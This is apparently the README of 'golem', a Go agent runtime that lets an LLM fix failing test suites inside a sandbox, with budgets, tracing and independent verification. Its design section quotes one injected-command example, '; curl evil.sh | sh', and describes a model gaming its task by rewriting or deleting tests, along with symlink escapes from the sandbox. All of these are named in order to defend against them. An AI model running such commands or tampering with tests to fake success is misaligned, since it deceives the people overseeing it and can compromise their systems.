An autonomous LLM agent runtime in Go, with no dependencies outside the standard library.
Point it at a repository with a failing test suite and walk away. It reads the code, forms a theory, edits files, re-runs the tests, and keeps going until the suite is green or its budget runs out — then it verifies the result itself instead of taking the model's word for it.
In the folklore, a golem is animated by a word written on its forehead and works tirelessly until someone erases a letter. The erasing is the interesting part. An agent that can call tools in a loop decides its own halting condition, and models are optimistic about their own progress, so most of this repository is about the letter: budgets, a sandbox, a trace, and a verification pass that assumes the model is wrong until the test suite says otherwise.
make demoThat resets a deliberately broken example repository, runs the agent against it with a scripted provider, and lets the suite decide the outcome. Real file edits, real go test, no network:
1 > asking model [messages=2]
1 | list_files [args={"path":"."}]
2 | read_file [args={"path":"calc/calc.go"}]
3 | read_file [args={"path":"calc/calc_test.go"}]
4 | write_file [status=ok out=wrote calc/calc.go (1197 bytes, 49 lines)]
5 | run_tests [out=$ go test ./... ok example.com/calc/calc (exit status 0)]
6 < Root cause: Median had two defects...
* run finished [stop=answered steps=6 tool_calls=5 tokens=770 elapsed=389ms]
. verdict [summary=VERIFIED: suite passes and no test file was modified]
The scripted provider is a recording, not intelligence — it only knows the bundled example. What it proves is the machinery around the model, which is the part I wrote. It also means CI exercises the whole agent loop on every push, for free.
For the real thing, add a key and pick a model:
export OPENROUTER_API_KEY=sk-or-v1-...
go run ./cmd/golem fix -dir examples/broken-calculator -model anthropic/claude-sonnet-4.5golem fix [flags] fix a failing test suite, then verify it independently
golem run [flags] -goal TEXT run an agent with a free-form goal
golem tools [flags] print the tool schemas the model would see
Useful flags: -dir (the workspace, and the sandbox boundary), -test (the command that defines success), -steps / -tokens / -wall (the budget), -allow (programs the agent may run), -trace out.jsonl.
golem fix exits non-zero when the suite is not genuinely green, so it drops straight into CI.
cmd/golem ──► workflow.FixTests
│
├─ baseline: run the suite, fingerprint every test file
├─ agent.Run ──► llm.Provider (openrouter │ mock)
│ ▲ │
│ │ tool calls
│ └── results ────┤
│ ▼
│ tools.Registry ──► sandbox ──► workspace
│ read_file, write_file, list_files,
│ run_command (allowlisted), run_tests
│
└─ verdict: re-run the suite, re-check the fingerprints
The loop itself is about sixty lines: ask the model, run the tools it asks for, feed the results back, repeat. Everything else exists to make that safe to leave unattended.
The model is an untrusted planner. Every filesystem tool resolves paths through one sandbox that rejects absolute paths, traversal, and symlinks pointing out of the tree — enforced against the resolved path, because a symlink inside the workspace is still an escape. Commands are allowlisted and executed as an argv vector with no shell, so there is nothing for ; curl evil.sh | sh to hook into, and subprocesses get a minimal environment rather than inheriting the API key.
The model's summary is a claim, not evidence. After the agent stops, the workflow re-runs the suite itself and compares SHA-256 fingerprints of every test file taken before the run. Deleting the failing test is the cheapest way to make a suite pass, and a model under pressure will find it. That case is a test in this repo: TestFixTestsRejectsRewrittenTests lets a scripted agent rewrite the tests, watches go test go green, and asserts the workflow rejects it anyway. Adding a new test alongside a fix is allowed — that is good behaviour, not cheating.
Runs are bounded three ways. Steps, tokens and wall clock, any one of which stops the run and says which one it was: "out of steps" is a prompt problem, "out of wall clock" is usually a wedged subprocess.
Runs are auditable. Every run emits a JSONL event stream — each request, tool call, result and verdict — so a run that burned twenty steps and gave up can be read back rather than guessed at.
Failures are sorted by who can recover. Provider errors abort the run; tool errors do not. A missing file, a bad argument, a hallucinated tool name — those come back as ordinary text for the model to read and work around, costing one step instead of the run. Rate limits and 5xx are retried with backoff that honours Retry-After, because an unattended loop that dies on a single 429 is not unattended.
More detail in docs/architecture.md.
Everything above internal/llm is written against one interface:
type Provider interface {
Name() string
Complete(ctx context.Context, req Request) (*Response, error)
}OpenRouter is the current default because it fronts most vendors behind one OpenAI-shaped API, so the vendor decision stays open while the model string does the choosing. Committing to a first-party API later means a new file in internal/llm and one Register call; nothing above it changes. Wire formats belong to the vendor and churn, so they live in unexported types next to the client and never leak upward.
cmd/golem CLI
internal/llm provider interface, OpenRouter client, transcript, mock
internal/tools registry, path sandbox, filesystem and command tools
internal/agent the loop and its budgets
internal/trace JSONL and console event streams
internal/workflow fix-tests: baseline, agent, independent verification
internal/demo scripted provider for offline runs and CI
examples/ a deliberately broken repository to point it at
make test # go test -race ./...
make all # vet, test, build
make demo # the offline end-to-end runTests are offline and deterministic; no test needs a key or a network. CI runs the full agent on the example repository on every push.
MIT licensed.